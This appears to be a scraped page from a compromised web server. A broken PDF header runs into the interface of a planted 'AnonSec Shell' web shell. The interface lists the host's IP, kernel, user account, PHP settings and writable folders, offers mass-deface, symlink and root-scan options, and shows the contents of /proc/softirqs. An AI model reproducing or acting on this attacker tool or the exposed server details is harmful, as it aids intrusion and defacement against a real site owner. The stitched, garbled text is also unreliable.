%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/images/product/anon_sym/anon/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          0          0          0
       TIMER:   22644313  146796602   53011950   29696943   27674391   29537299   96322206   28147235
      NET_TX:        549        779        771        751        939        794        879     505546
      NET_RX:   26188663   26026909  140128757   41696467  117647777   44285242   25802752   45607587
       BLOCK:    3661199    5190854    4594886    4383557    4383262    4535840    4550293    4303458
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    2802822    2835205    2988324    3070946    2905562    3857361    3243473    3930829
       SCHED:   37104161   83684846   46850189   36981859   35334982   37013574   61133479   36071532
     HRTIMER:       2560       1820       3261       6947      18282       5606       4196       5496
         RCU:   95949617  139636248  116995507  108571525  104195069  103448890  116840279  100648578

Anon7 - 2022
AnonSec Team